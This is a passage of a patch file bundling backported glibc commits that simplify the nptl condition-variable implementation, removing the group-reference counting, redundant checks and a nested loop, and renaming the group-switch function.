+ 	      __condvar_dec_grefs (cond, g, private);
+ 	      break;
+-            }
++	    }
+ 
+ 	  // Now block.
+ 	  struct _pthread_cleanup_buffer buffer;
+@@ -536,10 +537,8 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+        if (seq < (__condvar_load_g1_start_relaxed (cond) >> 1))
+ 	 goto done;
+     }
+-  /* Try to grab a signal.  Use acquire MO so that we see an up-to-date value
+-     of __g1_start below (see spinning above for a similar case).  In
+-     particular, if we steal from a more recent group, we will also see a
+-     more recent __g1_start below.  */
++  /* Try to grab a signal.  See above for MO.  (if we do another loop
++     iteration we need to see the correct value of g1_start)  */
+   while (!atomic_compare_exchange_weak_acquire (cond->__data.__g_signals + g,
+ 						&signals, signals - 2));
+ 
+
+commit 136a29f9d0a3924828d5a16be82d054637517c95
+Author: Malte Skarupke <malteskarupke@fastmail.fm>
+Date:   Wed Dec 4 07:55:50 2024 -0500
+
+    nptl: Remove unnecessary catch-all-wake in condvar group switch
+    
+    This wake is unnecessary. We only switch groups after every sleeper in a group
+    has been woken. Sure, they may take a while to actually wake up and may still
+    hold a reference, but waking them a second time doesn't speed that up. Instead
+    this just makes the code more complicated and may hide problems.
+    
+    In particular this safety wake wouldn't even have helped with the bug that was
+    fixed by Barrus' patch: The bug there was that pthread_cond_signal would not
+    switch g1 when it should, so we wouldn't even have entered this code path.
+    
+    Signed-off-by: Malte Skarupke <malteskarupke@fastmail.fm>
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit b42cc6af11062c260c7dfa91f1c89891366fed3e)
+
+diff --git a/nptl/pthread_cond_common.c b/nptl/pthread_cond_common.c
+index 3475d15123..30b8eee149 100644
+--- a/nptl/pthread_cond_common.c
++++ b/nptl/pthread_cond_common.c
+@@ -221,13 +221,7 @@ __condvar_quiesce_and_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+      * New waiters arriving concurrently with the group switching will all go
+        into G2 until we atomically make the switch.  Waiters existing in G2
+        are not affected.
+-     * Waiters in G1 have already received a signal and been woken. If they
+-       haven't woken yet, they will be closed out immediately by the advancing
+-       of __g_signals to the next "lowseq" (low 31 bits of the new g1_start),
+-       which will prevent waiters from blocking using a futex on
+-       __g_signals since it provides enough signals for all possible
+-       remaining waiters.  As a result, they can each consume a signal
+-       and they will eventually remove their group reference.  */
++     * Waiters in G1 have already received a signal and been woken.  */
+ 
+   /* Update __g1_start, which finishes closing this group.  The value we add
+      will never be negative because old_orig_size can only be zero when we
+@@ -240,29 +234,6 @@ __condvar_quiesce_and_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+ 
+   unsigned int lowseq = ((old_g1_start + old_orig_size) << 1) & ~1U;
+ 
+-  /* If any waiters still hold group references (and thus could be blocked),
+-     then wake them all up now and prevent any running ones from blocking.
+-     This is effectively a catch-all for any possible current or future
+-     bugs that can allow the group size to reach 0 before all G1 waiters
+-     have been awakened or at least given signals to consume, or any
+-     other case that can leave blocked (or about to block) older waiters..  */
+-  if ((atomic_fetch_or_release (cond->__data.__g_refs + g1, 0) >> 1) > 0)
+-   {
+-    /* First advance signals to the end of the group (i.e. enough signals
+-       for the entire G1 group) to ensure that waiters which have not
+-       yet blocked in the futex will not block.
+-       Note that in the vast majority of cases, this should never
+-       actually be necessary, since __g_signals will have enough
+-       signals for the remaining g_refs waiters.  As an optimization,
+-       we could check this first before proceeding, although that
+-       could still leave the potential for futex lost wakeup bugs
+-       if the signal count was non-zero but the futex wakeup
+-       was somehow lost.  */
+-    atomic_store_release (cond->__data.__g_signals + g1, lowseq);
+-
+-    futex_wake (cond->__data.__g_signals + g1, INT_MAX, private);
+-   }
+-
+   /* At this point, the old G1 is now a valid new G2 (but not in use yet).
+      No old waiter can neither grab a signal nor acquire a reference without
+      noticing that __g1_start is larger.
+
+commit 2a259b6d77dc5bdab5c8f4ee0e69572d5699d4bf
+Author: Malte Skarupke <malteskarupke@fastmail.fm>
+Date:   Wed Dec 4 07:56:13 2024 -0500
+
+    nptl: Remove unnecessary quadruple check in pthread_cond_wait
+    
+    pthread_cond_wait was checking whether it was in a closed group no less than
+    four times. Checking once is enough. Here are the four checks:
+    
+    1. While spin-waiting. This was dead code: maxspin is set to 0 and has been
+       for years.
+    2. Before deciding to go to sleep, and before incrementing grefs: I kept this
+    3. After incrementing grefs. There is no reason to think that the group would
+       close while we do an atomic increment. Obviously it could close at any
+       point, but that doesn't mean we have to recheck after every step. This
+       check was equally good as check 2, except it has to do more work.
+    4. When we find ourselves in a group that has a signal. We only get here after
+       we check that we're not in a closed group. There is no need to check again.
+       The check would only have helped in cases where the compare_exchange in the
+       next line would also have failed. Relying on the compare_exchange is fine.
+    
+    Removing the duplicate checks clarifies the code.
+    
+    Signed-off-by: Malte Skarupke <malteskarupke@fastmail.fm>
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit 4f7b051f8ee3feff1b53b27a906f245afaa9cee1)
+
+diff --git a/nptl/pthread_cond_wait.c b/nptl/pthread_cond_wait.c
+index ad2cee7d59..cfdd13bb87 100644
+--- a/nptl/pthread_cond_wait.c
++++ b/nptl/pthread_cond_wait.c
+@@ -366,7 +366,6 @@ static __always_inline int
+ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+     clockid_t clockid, const struct __timespec64 *abstime)
+ {
+-  const int maxspin = 0;
+   int err;
+   int result = 0;
+ 
+@@ -425,33 +424,6 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	  uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
+ 	  unsigned int lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+ 
+-	  /* Spin-wait first.
+-	     Note that spinning first without checking whether a timeout
+-	     passed might lead to what looks like a spurious wake-up even
+-	     though we should return ETIMEDOUT (e.g., if the caller provides
+-	     an absolute timeout that is clearly in the past).  However,
+-	     (1) spurious wake-ups are allowed, (2) it seems unlikely that a
+-	     user will (ab)use pthread_cond_wait as a check for whether a
+-	     point in time is in the past, and (3) spinning first without
+-	     having to compare against the current time seems to be the right
+-	     choice from a performance perspective for most use cases.  */
+-	  unsigned int spin = maxspin;
+-	  while (spin > 0 && ((int)(signals - lowseq) < 2))
+-	    {
+-	      /* Check that we are not spinning on a group that's already
+-		 closed.  */
+-	      if (seq < (g1_start >> 1))
+-		break;
+-
+-	      /* TODO Back off.  */
+-
+-	      /* Reload signals.  See above for MO.  */
+-	      signals = atomic_load_acquire (cond->__data.__g_signals + g);
+-	      g1_start = __condvar_load_g1_start_relaxed (cond);
+-	      lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+-	      spin--;
+-	    }
+-
+ 	  if (seq < (g1_start >> 1))
+ 	    {
+ 	      /* If the group is closed already,
+@@ -482,24 +454,6 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	     an atomic read-modify-write operation and thus extend the release
+ 	     sequence.  */
+ 	  atomic_fetch_add_acquire (cond->__data.__g_refs + g, 2);
+-	  signals = atomic_load_acquire (cond->__data.__g_signals + g);
+-	  g1_start = __condvar_load_g1_start_relaxed (cond);
+-	  lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+-
+-	  if (seq < (g1_start >> 1))
+-	    {
+-	      /* group is closed already, so don't block */
+-	      __condvar_dec_grefs (cond, g, private);
+-	      goto done;
+-	    }
+-
+-	  if ((int)(signals - lowseq) >= 2)
+-	    {
+-	      /* a signal showed up or G1/G2 switched after we grabbed the
+-	         refcount */
+-	      __condvar_dec_grefs (cond, g, private);
+-	      break;
+-	    }
+ 
+ 	  // Now block.
+ 	  struct _pthread_cleanup_buffer buffer;
+@@ -533,9 +487,6 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	  /* Reload signals.  See above for MO.  */
+ 	  signals = atomic_load_acquire (cond->__data.__g_signals + g);
+ 	}
+-
+-       if (seq < (__condvar_load_g1_start_relaxed (cond) >> 1))
+-	 goto done;
+     }
+   /* Try to grab a signal.  See above for MO.  (if we do another loop
+      iteration we need to see the correct value of g1_start)  */
+
+commit a2465f4293ecc37ac4650fbd02e517bc6fd801c6
+Author: Malte Skarupke <malteskarupke@fastmail.fm>
+Date:   Wed Dec 4 07:56:38 2024 -0500
+
+    nptl: Remove g_refs from condition variables
+    
+    This variable used to be needed to wait in group switching until all sleepers
+    have confirmed that they have woken. This is no longer needed. Nothing waits
+    on this variable so there is no need to track how many threads are currently
+    asleep in each group.
+    
+    Signed-off-by: Malte Skarupke <malteskarupke@fastmail.fm>
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit c36fc50781995e6758cae2b6927839d0157f213c)
+
+diff --git a/nptl/pthread_cond_wait.c b/nptl/pthread_cond_wait.c
+index cfdd13bb87..411fc0380b 100644
+--- a/nptl/pthread_cond_wait.c
++++ b/nptl/pthread_cond_wait.c
+@@ -143,23 +143,6 @@ __condvar_cancel_waiting (pthread_cond_t *cond, uint64_t seq, unsigned int g,
+     }
+ }
+ 
+-/* Wake up any signalers that might be waiting.  */
+-static void
+-__condvar_dec_grefs (pthread_cond_t *cond, unsigned int g, int private)
+-{
+-  /* Release MO to synchronize-with the acquire load in
+-     __condvar_quiesce_and_switch_g1.  */
+-  if (atomic_fetch_add_release (cond->__data.__g_refs + g, -2) == 3)
+-    {
+-      /* Clear the wake-up request flag before waking up.  We do not need more
+-	 than relaxed MO and it doesn't matter if we apply this for an aliased
+-	 group because we wake all futex waiters right after clearing the
+-	 flag.  */
+-      atomic_fetch_and_relaxed (cond->__data.__g_refs + g, ~(unsigned int) 1);
+-      futex_wake (cond->__data.__g_refs + g, INT_MAX, private);
+-    }
+-}
+-
+ /* Clean-up for cancellation of waiters waiting for normal signals.  We cancel
+    our registration as a waiter, confirm we have woken up, and re-acquire the
+    mutex.  */
+@@ -171,8 +154,6 @@ __condvar_cleanup_waiting (void *arg)
+   pthread_cond_t *cond = cbuffer->cond;
+   unsigned g = cbuffer->wseq & 1;
+ 
+-  __condvar_dec_grefs (cond, g, cbuffer->private);
+-
+   __condvar_cancel_waiting (cond, cbuffer->wseq >> 1, g, cbuffer->private);
+   /* FIXME With the current cancellation implementation, it is possible that
+      a thread is cancelled after it has returned from a syscall.  This could
+@@ -327,15 +308,6 @@ __condvar_cleanup_waiting (void *arg)
+    sufficient because if a waiter can see a sufficiently large value, it could
+    have also consume a signal in the waiters group.
+ 
+-   It is essential that the last field in pthread_cond_t is __g_signals[1]:
+-   The previous condvar used a pointer-sized field in pthread_cond_t, so a
+-   PTHREAD_COND_INITIALIZER from that condvar implementation might only
+-   initialize 4 bytes to zero instead of the 8 bytes we need (i.e., 44 bytes
+-   in total instead of the 48 we need).  __g_signals[1] is not accessed before
+-   the first group switch (G2 starts at index 0), which will set its value to
+-   zero after a harmless fetch-or whose return value is ignored.  This
+-   effectively completes initialization.
+-
+ 
+    Limitations:
+    * This condvar isn't designed to allow for more than
+@@ -440,21 +412,6 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	  if ((int)(signals - lowseq) >= 2)
+ 	    break;
+ 
+-	  /* No signals available after spinning, so prepare to block.
+-	     We first acquire a group reference and use acquire MO for that so
+-	     that we synchronize with the dummy read-modify-write in
+-	     __condvar_quiesce_and_switch_g1 if we read from that.  In turn,
+-	     in this case this will make us see the advancement of __g_signals
+-	     to the upcoming new g1_start that occurs with a concurrent
+-	     attempt to reuse the group's slot.
+-	     We use acquire MO for the __g_signals check to make the
+-	     __g1_start check work (see spinning above).
+-	     Note that the group reference acquisition will not mask the
+-	     release MO when decrementing the reference count because we use
+-	     an atomic read-modify-write operation and thus extend the release
+-	     sequence.  */
+-	  atomic_fetch_add_acquire (cond->__data.__g_refs + g, 2);
+-
+ 	  // Now block.
+ 	  struct _pthread_cleanup_buffer buffer;
+ 	  struct _condvar_cleanup_buffer cbuffer;
+@@ -471,18 +428,11 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 
+ 	  if (__glibc_unlikely (err == ETIMEDOUT || err == EOVERFLOW))
+ 	    {
+-	      __condvar_dec_grefs (cond, g, private);
+-	      /* If we timed out, we effectively cancel waiting.  Note that
+-		 we have decremented __g_refs before cancellation, so that a
+-		 deadlock between waiting for quiescence of our group in
+-		 __condvar_quiesce_and_switch_g1 and us trying to acquire
+-		 the lock during cancellation is not possible.  */
++	      /* If we timed out, we effectively cancel waiting.  */
+ 	      __condvar_cancel_waiting (cond, seq, g, private);
+ 	      result = err;
+ 	      goto done;
+ 	    }
+-	  else
+-	    __condvar_dec_grefs (cond, g, private);
+ 
+ 	  /* Reload signals.  See above for MO.  */
+ 	  signals = atomic_load_acquire (cond->__data.__g_signals + g);
+diff --git a/nptl/tst-cond22.c b/nptl/tst-cond22.c
+index 1336e9c79d..bdcb45c536 100644
+--- a/nptl/tst-cond22.c
++++ b/nptl/tst-cond22.c
+@@ -106,13 +106,13 @@ do_test (void)
+       status = 1;
+     }
+ 
+-  printf ("cond = { 0x%x:%x, 0x%x:%x, %u/%u/%u, %u/%u/%u, %u, %u }\n",
++  printf ("cond = { 0x%x:%x, 0x%x:%x, %u/%u, %u/%u, %u, %u }\n",
+ 	  c.__data.__wseq.__value32.__high,
+ 	  c.__data.__wseq.__value32.__low,
+ 	  c.__data.__g1_start.__value32.__high,
+ 	  c.__data.__g1_start.__value32.__low,
+-	  c.__data.__g_signals[0], c.__data.__g_refs[0], c.__data.__g_size[0],
+-	  c.__data.__g_signals[1], c.__data.__g_refs[1], c.__data.__g_size[1],
++	  c.__data.__g_signals[0], c.__data.__g_size[0],
++	  c.__data.__g_signals[1], c.__data.__g_size[1],
+ 	  c.__data.__g1_orig_size, c.__data.__wrefs);
+ 
+   if (pthread_create (&th, NULL, tf, (void *) 1l) != 0)
+@@ -152,13 +152,13 @@ do_test (void)
+       status = 1;
+     }
+ 
+-  printf ("cond = { 0x%x:%x, 0x%x:%x, %u/%u/%u, %u/%u/%u, %u, %u }\n",
++  printf ("cond = { 0x%x:%x, 0x%x:%x, %u/%u, %u/%u, %u, %u }\n",
+ 	  c.__data.__wseq.__value32.__high,
+ 	  c.__data.__wseq.__value32.__low,
+ 	  c.__data.__g1_start.__value32.__high,
+ 	  c.__data.__g1_start.__value32.__low,
+-	  c.__data.__g_signals[0], c.__data.__g_refs[0], c.__data.__g_size[0],
+-	  c.__data.__g_signals[1], c.__data.__g_refs[1], c.__data.__g_size[1],
++	  c.__data.__g_signals[0], c.__data.__g_size[0],
++	  c.__data.__g_signals[1], c.__data.__g_size[1],
+ 	  c.__data.__g1_orig_size, c.__data.__wrefs);
+ 
+   return status;
+diff --git a/sysdeps/nptl/bits/thread-shared-types.h b/sysdeps/nptl/bits/thread-shared-types.h
+index df54eef6f7..a3d482f80f 100644
+--- a/sysdeps/nptl/bits/thread-shared-types.h
++++ b/sysdeps/nptl/bits/thread-shared-types.h
+@@ -95,8 +95,7 @@ struct __pthread_cond_s
+ {
+   __atomic_wide_counter __wseq;
+   __atomic_wide_counter __g1_start;
+-  unsigned int __g_refs[2] __LOCK_ALIGNMENT;
+-  unsigned int __g_size[2];
++  unsigned int __g_size[2] __LOCK_ALIGNMENT;
+   unsigned int __g1_orig_size;
+   unsigned int __wrefs;
+   unsigned int __g_signals[2];
+diff --git a/sysdeps/nptl/pthread.h b/sysdeps/nptl/pthread.h
+index 3d4f4a756c..9af75d6eae 100644
+--- a/sysdeps/nptl/pthread.h
++++ b/sysdeps/nptl/pthread.h
+@@ -152,7 +152,7 @@ enum
+ 
+ 
+ /* Conditional variable handling.  */
+-#define PTHREAD_COND_INITIALIZER { { {0}, {0}, {0, 0}, {0, 0}, 0, 0, {0, 0} } }
++#define PTHREAD_COND_INITIALIZER { { {0}, {0}, {0, 0}, 0, 0, {0, 0} } }
+ 
+ 
+ /* Cleanup buffers */
+
+commit fa110993a6390ae5c97dff613ef02b59ec78c5da
+Author: Malte Skarupke <malteskarupke@fastmail.fm>
+Date:   Wed Dec 4 08:03:44 2024 -0500
+
+    nptl: Use a single loop in pthread_cond_wait instaed of a nested loop
+    
+    The loop was a little more complicated than necessary. There was only one
+    break statement out of the inner loop, and the outer loop was nearly empty.
+    So just remove the outer loop, moving its code to the one break statement in
+    the inner loop. This allows us to replace all gotos with break statements.
+    
+    Signed-off-by: Malte Skarupke <malteskarupke@fastmail.fm>
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit 929a4764ac90382616b6a21f099192b2475da674)
+
+diff --git a/nptl/pthread_cond_wait.c b/nptl/pthread_cond_wait.c
+index 411fc0380b..683cb2b133 100644
+--- a/nptl/pthread_cond_wait.c
++++ b/nptl/pthread_cond_wait.c
+@@ -382,17 +382,15 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+       return err;
+     }
+ 
+-  /* Now wait until a signal is available in our group or it is closed.
+-     Acquire MO so that if we observe (signals == lowseq) after group
+-     switching in __condvar_quiesce_and_switch_g1, we synchronize with that
+-     store and will see the prior update of __g1_start done while switching
+-     groups too.  */
+-  unsigned int signals = atomic_load_acquire (cond->__data.__g_signals + g);
+-
+-  do
+-    {
++
+       while (1)
+ 	{
++	  /* Now wait until a signal is available in our group or it is closed.
++	     Acquire MO so that if we observe (signals == lowseq) after group
++	     switching in __condvar_quiesce_and_switch_g1, we synchronize with that
++	     store and will see the prior update of __g1_start done while switching
++	     groups too.  */
++	  unsigned int signals = atomic_load_acquire (cond->__data.__g_signals + g);
+ 	  uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
+ 	  unsigned int lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+ 
+@@ -401,7 +399,7 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	      /* If the group is closed already,
+ 	         then this waiter originally had enough extra signals to
+ 	         consume, up until the time its group was closed.  */
+-	       goto done;
++	       break;
+ 	    }
+ 
+ 	  /* If there is an available signal, don't block.
+@@ -410,7 +408,16 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	     G2, but in either case we're allowed to consume the available
+ 	     signal and should not block anymore.  */
+ 	  if ((int)(signals - lowseq) >= 2)
+-	    break;
++	    {
++	      /* Try to grab a signal.  See above for MO.  (if we do another loop
++		 iteration we need to see the correct value of g1_start)  */
++		      if (atomic_compare_exchange_weak_acquire (
++		      		cond->__data.__g_signals + g,
++			&signals, signals - 2))
++		      	break;
++		      else
++		      	continue;
++	    }
+ 
+ 	  // Now block.
+ 	  struct _pthread_cleanup_buffer buffer;
+@@ -431,19 +438,9 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+ 	      /* If we timed out, we effectively cancel waiting.  */
+ 	      __condvar_cancel_waiting (cond, seq, g, private);
+ 	      result = err;
+-	      goto done;
++	      break;
+ 	    }
+-
+-	  /* Reload signals.  See above for MO.  */
+-	  signals = atomic_load_acquire (cond->__data.__g_signals + g);
+ 	}
+-    }
+-  /* Try to grab a signal.  See above for MO.  (if we do another loop
+-     iteration we need to see the correct value of g1_start)  */
+-  while (!atomic_compare_exchange_weak_acquire (cond->__data.__g_signals + g,
+-						&signals, signals - 2));
+-
+- done:
+ 
+   /* Confirm that we have been woken.  We do that before acquiring the mutex
+      to allow for execution of pthread_cond_destroy while having acquired the
+
+commit afbf0d46850dcd1b626d892ad8fde2162067ddc7
+Author: Malte Skarupke <malteskarupke@fastmail.fm>
+Date:   Wed Dec 4 08:04:10 2024 -0500
+
+    nptl: Fix indentation
+    
+    In my previous change I turned a nested loop into a simple loop. I'm doing
+    the resulting indentation changes in a separate commit to make the diff on
+    the previous commit easier to review.
+    
+    Signed-off-by: Malte Skarupke <malteskarupke@fastmail.fm>
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit ee6c14ed59d480720721aaacc5fb03213dc153da)
+
+diff --git a/nptl/pthread_cond_wait.c b/nptl/pthread_cond_wait.c
+index 683cb2b133..7fc9dadf15 100644
+--- a/nptl/pthread_cond_wait.c
++++ b/nptl/pthread_cond_wait.c
+@@ -383,65 +383,65 @@ __pthread_cond_wait_common (pthread_cond_t *cond, pthread_mutex_t *mutex,
+     }
+ 
+ 
+-      while (1)
+-	{
+-	  /* Now wait until a signal is available in our group or it is closed.
+-	     Acquire MO so that if we observe (signals == lowseq) after group
+-	     switching in __condvar_quiesce_and_switch_g1, we synchronize with that
+-	     store and will see the prior update of __g1_start done while switching
+-	     groups too.  */
+-	  unsigned int signals = atomic_load_acquire (cond->__data.__g_signals + g);
+-	  uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
+-	  unsigned int lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
+-
+-	  if (seq < (g1_start >> 1))
+-	    {
+-	      /* If the group is closed already,
+-	         then this waiter originally had enough extra signals to
+-	         consume, up until the time its group was closed.  */
+-	       break;
+-	    }
+-
+-	  /* If there is an available signal, don't block.
+-	     If __g1_start has advanced at all, then we must be in G1
+-	     by now, perhaps in the process of switching back to an older
+-	     G2, but in either case we're allowed to consume the available
+-	     signal and should not block anymore.  */
+-	  if ((int)(signals - lowseq) >= 2)
+-	    {
+-	      /* Try to grab a signal.  See above for MO.  (if we do another loop
+-		 iteration we need to see the correct value of g1_start)  */
+-		      if (atomic_compare_exchange_weak_acquire (
+-		      		cond->__data.__g_signals + g,
++  while (1)
++    {
++      /* Now wait until a signal is available in our group or it is closed.
++         Acquire MO so that if we observe (signals == lowseq) after group
++         switching in __condvar_quiesce_and_switch_g1, we synchronize with that
++         store and will see the prior update of __g1_start done while switching
++         groups too.  */
++      unsigned int signals = atomic_load_acquire (cond->__data.__g_signals + g);
++      uint64_t g1_start = __condvar_load_g1_start_relaxed (cond);
++      unsigned int lowseq = (g1_start & 1) == g ? signals : g1_start & ~1U;
++
++      if (seq < (g1_start >> 1))
++        {
++          /* If the group is closed already,
++             then this waiter originally had enough extra signals to
++             consume, up until the time its group was closed.  */
++           break;
++        }
++
++      /* If there is an available signal, don't block.
++         If __g1_start has advanced at all, then we must be in G1
++         by now, perhaps in the process of switching back to an older
++         G2, but in either case we're allowed to consume the available
++         signal and should not block anymore.  */
++      if ((int)(signals - lowseq) >= 2)
++        {
++	  /* Try to grab a signal.  See above for MO.  (if we do another loop
++	     iteration we need to see the correct value of g1_start)  */
++	    if (atomic_compare_exchange_weak_acquire (
++			cond->__data.__g_signals + g,
+ 			&signals, signals - 2))
+-		      	break;
+-		      else
+-		      	continue;
+-	    }
+-
+-	  // Now block.
+-	  struct _pthread_cleanup_buffer buffer;
+-	  struct _condvar_cleanup_buffer cbuffer;
+-	  cbuffer.wseq = wseq;
+-	  cbuffer.cond = cond;
+-	  cbuffer.mutex = mutex;
+-	  cbuffer.private = private;
+-	  __pthread_cleanup_push (&buffer, __condvar_cleanup_waiting, &cbuffer);
+-
+-	  err = __futex_abstimed_wait_cancelable64 (
+-	    cond->__data.__g_signals + g, signals, clockid, abstime, private);
+-
+-	  __pthread_cleanup_pop (&buffer, 0);
+-
+-	  if (__glibc_unlikely (err == ETIMEDOUT || err == EOVERFLOW))
+-	    {
+-	      /* If we timed out, we effectively cancel waiting.  */
+-	      __condvar_cancel_waiting (cond, seq, g, private);
+-	      result = err;
+ 	      break;
+-	    }
++	    else
++	      continue;
+ 	}
+ 
++      // Now block.
++      struct _pthread_cleanup_buffer buffer;
++      struct _condvar_cleanup_buffer cbuffer;
++      cbuffer.wseq = wseq;
++      cbuffer.cond = cond;
++      cbuffer.mutex = mutex;
++      cbuffer.private = private;
++      __pthread_cleanup_push (&buffer, __condvar_cleanup_waiting, &cbuffer);
++
++      err = __futex_abstimed_wait_cancelable64 (
++        cond->__data.__g_signals + g, signals, clockid, abstime, private);
++
++      __pthread_cleanup_pop (&buffer, 0);
++
++      if (__glibc_unlikely (err == ETIMEDOUT || err == EOVERFLOW))
++        {
++          /* If we timed out, we effectively cancel waiting.  */
++          __condvar_cancel_waiting (cond, seq, g, private);
++          result = err;
++          break;
++        }
++    }
++
+   /* Confirm that we have been woken.  We do that before acquiring the mutex
+      to allow for execution of pthread_cond_destroy while having acquired the
+      mutex.  */
+
+commit 2ad69497346cc20ef4d568108f1de49b2f451c55
+Author: Malte Skarupke <malteskarupke@fastmail.fm>
+Date:   Wed Dec 4 08:04:54 2024 -0500
+
+    nptl: rename __condvar_quiesce_and_switch_g1
+    
+    This function no longer waits for threads to leave g1, so rename it to
+    __condvar_switch_g1
+    
+    Signed-off-by: Malte Skarupke <malteskarupke@fastmail.fm>
+    Reviewed-by: Carlos O'Donell <carlos@redhat.com>
+    (cherry picked from commit 4b79e27a5073c02f6bff9aa8f4791230a0ab1867)
+
+diff --git a/nptl/pthread_cond_broadcast.c b/nptl/pthread_cond_broadcast.c
+index aada91639a..38bba17bfc 100644
+--- a/nptl/pthread_cond_broadcast.c
++++ b/nptl/pthread_cond_broadcast.c
+@@ -60,7 +60,7 @@ ___pthread_cond_broadcast (pthread_cond_t *cond)
+ 				cond->__data.__g_size[g1] << 1);
+       cond->__data.__g_size[g1] = 0;
+ 
+-      /* We need to wake G1 waiters before we quiesce G1 below.  */
++      /* We need to wake G1 waiters before we switch G1 below.  */
+       /* TODO Only set it if there are indeed futex waiters.  We could
+ 	 also try to move this out of the critical section in cases when
+ 	 G2 is empty (and we don't need to quiesce).  */
+@@ -69,7 +69,7 @@ ___pthread_cond_broadcast (pthread_cond_t *cond)
+ 
+   /* G1 is complete.  Step (2) is next unless there are no waiters in G2, in
+      which case we can stop.  */
+-  if (__condvar_quiesce_and_switch_g1 (cond, wseq, &g1, private))
++  if (__condvar_switch_g1 (cond, wseq, &g1, private))
+     {
+       /* Step (3): Send signals to all waiters in the old G2 / new G1.  */
+       atomic_fetch_add_relaxed (cond->__data.__g_signals + g1,
+diff --git a/nptl/pthread_cond_common.c b/nptl/pthread_cond_common.c
+index 30b8eee149..5044273cc2 100644
+--- a/nptl/pthread_cond_common.c
++++ b/nptl/pthread_cond_common.c
+@@ -189,16 +189,15 @@ __condvar_get_private (int flags)
+     return FUTEX_SHARED;
+ }
+ 
+-/* This closes G1 (whose index is in G1INDEX), waits for all futex waiters to
+-   leave G1, converts G1 into a fresh G2, and then switches group roles so that
+-   the former G2 becomes the new G1 ending at the current __wseq value when we
+-   eventually make the switch (WSEQ is just an observation of __wseq by the
+-   signaler).
++/* This closes G1 (whose index is in G1INDEX), converts G1 into a fresh G2,
++   and then switches group roles so that the former G2 becomes the new G1
++   ending at the current __wseq value when we eventually make the switch
++   (WSEQ is just an observation of __wseq by the signaler).
+    If G2 is empty, it will not switch groups because then it would create an
+    empty G1 which would require switching groups again on the next signal.
+    Returns false iff groups were not switched because G2 was empty.  */
+ static bool __attribute__ ((unused))
+-__condvar_quiesce_and_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
++__condvar_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+     unsigned int *g1index, int private)
+ {
+   unsigned int g1 = *g1index;
+@@ -214,8 +213,7 @@ __condvar_quiesce_and_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+ 	  + cond->__data.__g_size[g1 ^ 1]) == 0)
+ 	return false;
+ 
+-  /* Now try to close and quiesce G1.  We have to consider the following kinds
+-     of waiters:
++  /* We have to consider the following kinds of waiters:
+      * Waiters from less recent groups than G1 are not affected because
+        nothing will change for them apart from __g1_start getting larger.
+      * New waiters arriving concurrently with the group switching will all go
+@@ -223,12 +221,12 @@ __condvar_quiesce_and_switch_g1 (pthread_cond_t *cond, uint64_t wseq,
+        are not affected.
+      * Waiters in G1 have already received a signal and been woken.  */
+ 
+-  /* Update __g1_start, which finishes closing this group.  The value we add
+-     will never be negative because old_orig_size can only be zero when we
+-     switch groups the first time after a condvar was initialized, in which
+-     case G1 will be at index 1 and we will add a value of 1.
+-     Relaxed MO is fine because the change comes with no additional
+-     constraints that others would have to observe.  */
++  /* Update __g1_start, which closes this group.  The value we add will never
++     be negative because old_orig_size can only be zero when we switch groups
++     the first time after a condvar was initialized, in which case G1 will be
++     at index 1 and we will add a value of 1. Relaxed MO is fine because the
++     change comes with no additional constraints that others would have to
++     observe.  */
+   __condvar_add_g1_start_relaxed (cond,
+       (old_orig_size << 1) + (g1 == 1 ? 1 : - 1));
+ 
+diff --git a/nptl/pthread_cond_signal.c b/nptl/pthread_cond_signal.c
+index 43d6286ecd..f095497142 100644
+--- a/nptl/pthread_cond_signal.c
++++ b/nptl/pthread_cond_signal.c
+@@ -69,18 +69,17 @@ ___pthread_cond_signal (pthread_cond_t *cond)
+   bool do_futex_wake = false;
+ 
+   /* If G1 is still receiving signals, we put the signal there.  If not, we
+-     check if G2 has waiters, and if so, quiesce and switch G1 to the former
+-     G2; if this results in a new G1 with waiters (G2 might have cancellations
+-     already, see __condvar_quiesce_and_switch_g1), we put the signal in the
+-     new G1.  */
++     check if G2 has waiters, and if so, switch G1 to the former G2; if this
++     results in a new G1 with waiters (G2 might have cancellations already,
++     see __condvar_switch_g1), we put the signal in the new G1. */
+   if ((cond->__data.__g_size[g1] != 0)
+-      || __condvar_quiesce_and_switch_g1 (cond, wseq, &g1, private))
++      || __condvar_switch_g1 (cond, wseq, &g1, private))
+     {
+       /* Add a signal.  Relaxed MO is fine because signaling does not need to
+-	 establish a happens-before relation (see above).  We do not mask the
+-	 release-MO store when initializing a group in
+-	 __condvar_quiesce_and_switch_g1 because we use an atomic
+-	 read-modify-write and thus extend that store's release sequence.  */
++         establish a happens-before relation (see above).  We do not mask the
